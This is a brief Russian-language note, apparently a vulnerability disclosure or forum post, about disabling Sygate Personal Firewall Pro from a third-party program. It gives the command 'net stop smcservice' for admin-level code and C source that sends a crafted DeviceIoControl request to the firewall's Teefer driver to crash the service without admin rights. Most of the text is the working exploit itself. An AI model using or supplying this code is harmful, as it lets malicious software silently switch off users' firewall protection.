Sygate Personal
Firewall Pro могу выключить сторонние
программы. Файрвол не всегда корректно
проверяет откуда пришли управляющие
команды и как результат - его легко можно
обесточить. Если программа обладает
админовскими привилегиями то так:
net stop smcservice
Если нет, то можно использовать ListView в SPFP
для креша сервиса. Например так:
hDevice = CreateFile("\\\\.\\Teefer", GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hDevice == INVALID_HANDLE_VALUE)
{
printf("Open failed\n");
}
else
{
printf("Device opened.\n");
char buffer[8];
DWORD *ptr = (DWORD *)buffer;
DWORD *ptr2 = (DWORD *)(buffer + 4);
DWORD ret;
*ptr = 0;
*ptr2 = 0;
if(DeviceIoControl(hDevice, 0x212094, buffer, 8, buffer, 8,
&ret, 0))
printf("Sent.\n");
CloseHandle(hDevice);
}